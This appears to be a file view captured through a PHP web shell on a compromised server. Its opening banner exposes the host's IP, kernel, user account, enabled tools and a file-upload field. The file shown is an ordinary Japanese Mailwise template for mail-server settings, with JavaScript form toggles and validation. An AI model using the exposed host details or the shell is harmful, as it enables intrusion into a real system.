| Server IP : 133.18.244.157 / Your IP : 216.73.217.20 Web Server : Apache System : Linux o4022v-135.kagoya.net 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64 User : main2 ( 81069) PHP Version : 5.6.34 Disable Function : NONE MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /install/page/ |
Upload File : |
<!--#include file="LibraryForm.html"-->
<script language="JavaScript" type="text/javascript"><!--
function DisplayOn( id )
{
var e = document.getElementById(id);
if(e && e.style )
{
e.style.display="";
}
}
function DisplayOff( id )
{
var e = document.getElementById(id);
if(e && e.style )
{
e.style.display="none";
}
}
function initializeDisplay()
{
var form = document.forms["ServerSet"];
onClickSendEncryption(form);
onClickReceiveEncryption(form);
onClickSMTPAuth(form);
onClickPOPBeforeSMTP(form);
if( form.POP3Server.checked == true )
{
DisplayOn( 'SETAPOP' );
}
else
{
DisplayOff( 'SETAPOP' );
}
}
function onClickSendEncryption( form )
{
var form = document.forms["ServerSet"];
if( form.SendEncryption.checked == true )
{
DisplayOn( 'SendEncryptionType' );
}
else
{
DisplayOff( 'SendEncryptionType' );
}
}
function onClickReceiveEncryption( form )
{
var form = document.forms["ServerSet"];
if( form.ReceiveEncryption.checked == true )
{
DisplayOn( 'ReceiveEncryptionType' );
}
else
{
DisplayOff( 'ReceiveEncryptionType' );
}
}
function onClickSMTPAuth( form )
{
if( form.SMTPAuth.checked == true )
{
form.POPbeforeSMTP.checked = false;
DisplayOn( 'SETSMTPAUTH' );
DisplayOn( 'SETAUTHTYPE' );
DisplayOff( 'SETPOPBEFORESMTP' );
if(form.Manual.checked == true)
{
DisplayOn( 'SETSMTPACCOUNT' );
}
else
{
DisplayOff( 'SETSMTPACCOUNT' );
}
}
else
{
DisplayOff( 'SETSMTPAUTH' );
DisplayOff( 'SETAUTHTYPE' );
}
}
function onClickPOPBeforeSMTP( form )
{
if( form.POPbeforeSMTP.checked == true )
{
form.SMTPAuth.checked = false;
DisplayOn( 'SETPOPBEFORESMTP' );
DisplayOff( 'SETSMTPAUTH' );
DisplayOff( 'SETAUTHTYPE' );
}
else
{
DisplayOff( 'SETPOPBEFORESMTP' );
}
}
function onSubmit( form )
{
if( form.Name && ! form.Name.value )
{
alert( "名前を入力してください。" );
return false;
}
if( ! form.SendServer.value )
{
alert( "送信メールサーバー名を入力してください。" );
return false;
}
if( ! form.SPort.value )
{
alert( "送信メールサーバーのポート番号を入力してください。" );
return false;
}
else if( ( isNaN( form.SPort.value ) ) || ( isNaN( form.RPort.value ) ) )
{
alert( "ポート番号は数値を半角で入力してください。" );
return false;
}
if( ! form.ReceiveServer.value )
{
alert( "受信メールサーバー名を入力してください。" );
return false;
}
if( ! form.RPort.value )
{
alert( "受信メールサーバーのポート番号を入力してください。" );
return false;
}
return true;
}
-->
</script>
''<!------------------------------------------------------------------
'' メールサーバーの設定
'' 構文:Call mailserverSet <メールサーバーオブジェクト>
''------------------------------------------------------------------->
' Sub mailserverSet $ms $wizard
<p>
<table border="0" cellspacing="0" cellpadding="2">
' If ! $wizard
<tr><td valign="top" nowrap>名前
' Call formNecessaryMark
</td><td valign="top">
' Call formtext "Name" $ms.Name 20 1 255 "mailserver-set-text"
<br><font size="-1" color="#008800">メールワイズ内で表示される名前です。任意の文字列を入力してください。</font>
</td></tr>
<tr><td colspan="2"><hr></td></tr>
' EndIf
<tr><td nowrap>受信メールサーバー
</td><td nowrap>
' $msIMAP = $ms.IMAP
' Call formRadio "IMAP" "POP3" $msIMAP.RChecked 0 "POP3Server" "RPort.value = 110; DisplayOn( 'SETAPOP' );"
' Call formRadio "IMAP" "IMAP4" $msIMAP.Checked 1 "IMAP4Server" "RPort.value = 143; DisplayOff( 'SETAPOP' );"
</td></tr>
<tr><td><br></td><td>サーバー名
' Call formNecessaryMark
' Call formText "ReceiveServer" $ms.ReceiveServer 20 1 255 "mailserver-set-text"
' If $ms.ReceiveServerCandidate
<font class="fontSmall mailserver-set-candidate">例: $ms.ReceiveServerCandidate</font>
' EndIf
<br>ポート番号
' Call formNecessaryMark
' Call formNumberMark
' $RPort = $ms.RPort
' Init $RPort = 110
' Call formText "RPort" $RPort 5 1 5
</td></tr>
<tr><td><br></td><td>
' $msReceiveEncryption = 0
' $msReceiveEncryptionType = $ms.ReceiveEncryptionType
' If $msReceiveEncryptionType
' $msReceiveEncryption = 1
' EndIf
' Call formCheckBox "ReceiveEncryption" "通信を暗号化する" $msReceiveEncryption 1 "ReceiveEncryption" "onClickReceiveEncryption( this.form );"
<select id="ReceiveEncryptionType" name="ReceiveEncryptionType"\\
' If ! $msReceiveEncryption
style="display:none;"\\
' EndIf
>
<option value="1" $msReceiveEncryptionType.Selected_1>SSL</option>
<option value="2" $msReceiveEncryptionType.Selected_2>STARTTLS</option>
</select>
</td></tr>
<tr id="SETAPOP"\\
' If $ms.IMAP
style="display:none;"\\
' EndIf
><td><br></td><td>
' Call formCheckBox "APOP" "APOP認証をおこなう" $ms.APOP 1 "APOP"
</td></tr>
' If ! $wizard
<tr><td><br></td><td>メールサイズの制限
' $msReceiveMax = $ms.ReceiveMax
<select name="ReceiveMax">
<option value="">(無制限)
<option value="512" $msReceiveMax.Selected_512>512KB
<option value="1024" $msReceiveMax.Selected_1024>1MB
<option value="3072" $msReceiveMax.Selected_3072>3MB
<option value="5120" $msReceiveMax.Selected_5120>5MB
<option value="10240" $msReceiveMax.Selected_10240>10MB
</select><br>
<font color="#008800" size="-1">メールのサイズを制限すると、指定したサイズ以上のメールを受信できません。</font>
</td></tr>
' EndIf
<tr><td colspan="2"><hr></td></tr>
<tr><td valign="top" nowrap>送信メールサーバー</td><td valign="top">(SMTP)</td></tr>
<tr><td><br></td><td>サーバー名
' Call formNecessaryMark
' Call formtext "SendServer" $ms.SendServer 20 1 255 "mailserver-set-text"
' If $ms.SendServerCandidate
<font class="fontSmall mailserver-set-candidate">例: $ms.SendServerCandidate</font>
' EndIf
<br>ポート番号
' Call formNecessaryMark
' Call formNumberMark
' $SPort = $ms.SPort
' Init $SPort = 25
' Call formText "SPort" $SPort 5 1 5
</td></tr>
<tr><td><br></td><td>
' $msSendEncryption = 0
' $msSendEncryptionType = $ms.SendEncryptionType
' If $msSendEncryptionType
' $msSendEncryption = 1
' EndIf
' Call formCheckBox "SendEncryption" "通信を暗号化する" $msSendEncryption 1 "SendEncryption" "onClickSendEncryption( this.form );"
<select id="SendEncryptionType" name="SendEncryptionType"\\
' If ! $msSendEncryption
style="display:none;"\\
' EndIf
>
<option value="1" $msSendEncryptionType.Selected_1>SSL</option>
<option value="2" $msSendEncryptionType.Selected_2>STARTTLS</option>
</select>
</td></tr>
<tr><td><br></td><td>
' Call formCheckBox "SMTPAuth" "SMTP認証をおこなう" $ms.SMTPAuth 1 "SMTPAuth" "onClickSMTPAuth( this.form );"
' $msType = $ms.SMTPAuth
<select id="SETAUTHTYPE" name="Type"\\
' If ! $ms.SMTPAuth
style="display:none;"\\
' EndIf
>
<option value="1">LOGIN
<option value="2" $msType.Selected_2>PLAIN
<option value="3" $msType.Selected_3>CRAM-MD5
</select>
</td></tr>
<tr id="SETSMTPAUTH"\\
' If ! $ms.SMTPAuth
style="display:none;"\\
' EndIf
>
<td><br></td><td style="font-size:90%">
' $msSMTPAccount = $ms.SMTPAccount
<img src="$IMG_PATH/spacer.gif" width="20">
' Call formRadio "SMTPAccount" "認証にメールアカウントのユーザー名とパスワードを使用する" $msSMTPAccount.RChecked 0 "Auto" "DisplayOff( 'SETSMTPACCOUNT' );"
<br><img src="$IMG_PATH/spacer.gif" width="20">
' Call formRadio "SMTPAccount" "認証に使用するユーザー名とパスワードを設定する" $msSMTPAccount.Checked 1 "Manual" "DisplayOn( 'SETSMTPACCOUNT' );"
<table id="SETSMTPACCOUNT" border="0" cellspacing="0" cellpadding="2"\\
' If ! $ms.SMTPAccount
style="display:none;"\\
' EndIf
><tr>
<td style="font-size:80%"><img src="$IMG_PATH/spacer.gif" width="40" height="20"></td><td nowrap>ユーザー名</td><td nowrap>
' Call formText "SMTPUser" $ms.SMTPUser 20 1 255
</td></tr><tr><td><img src="$IMG_PATH/spacer.gif" width="20"></td><td nowrap>パスワード</td><td nowrap>
' $msCode = $Command.System.GetPasswordCode $ms.Password
' If $msCode
' Call formPassword "SMTPPassword" 20 100 0 $msCode
' Else
' Call formPassword "SMTPPassword" 20 100 1
' EndIf
</td></tr></table>
</td></tr>
<tr><td><br></td><td>
' Call formCheckBox "POPbeforeSMTP" "受信後に送信をおこなう (POP before SMTP)" $ms.POPbeforeSMTP 1 "POPbeforeSMTP" "onClickPOPBeforeSMTP( this.form );"
<div id="SETPOPBEFORESMTP"\\
' If ! $ms.POPbeforeSMTP
style="display:none;"\\
' EndIf
>
<img src="$IMG_PATH/spacer.gif" width="20">┗ 送信までの待ち時間
' $msWait = $ms.Wait
<select name="Wait">
<option value="0">0秒
<option value="1000" $msWait.Selected_1000>1秒
<option value="2000" $msWait.Selected_2000>2秒
<option value="3000" $msWait.Selected_3000>3秒
<option value="4000" $msWait.Selected_4000>4秒
<option value="5000" $msWait.Selected_5000>5秒
</select>
</div>
</td></tr>
' If ! $wizard
<tr><td><br></td><td valign="top">メールサイズの制限
' $msSendMax = $ms.SendMax
<select name="SendMax">
<option value="">(無制限)
<option value="512" $msSendMax.Selected_512>512KB
<option value="1024" $msSendMax.Selected_1024>1MB
<option value="3072" $msSendMax.Selected_3072>3MB
<option value="5120" $msSendMax.Selected_5120>5MB
<option value="10240" $msSendMax.Selected_10240>10MB
</select><br>
<font color="#008800" size="-1">メールのサイズを制限すると、指定したサイズ以上のメールを送信できません。</font>
</td></tr>
' EndIf
</table>
</p>
' EndSub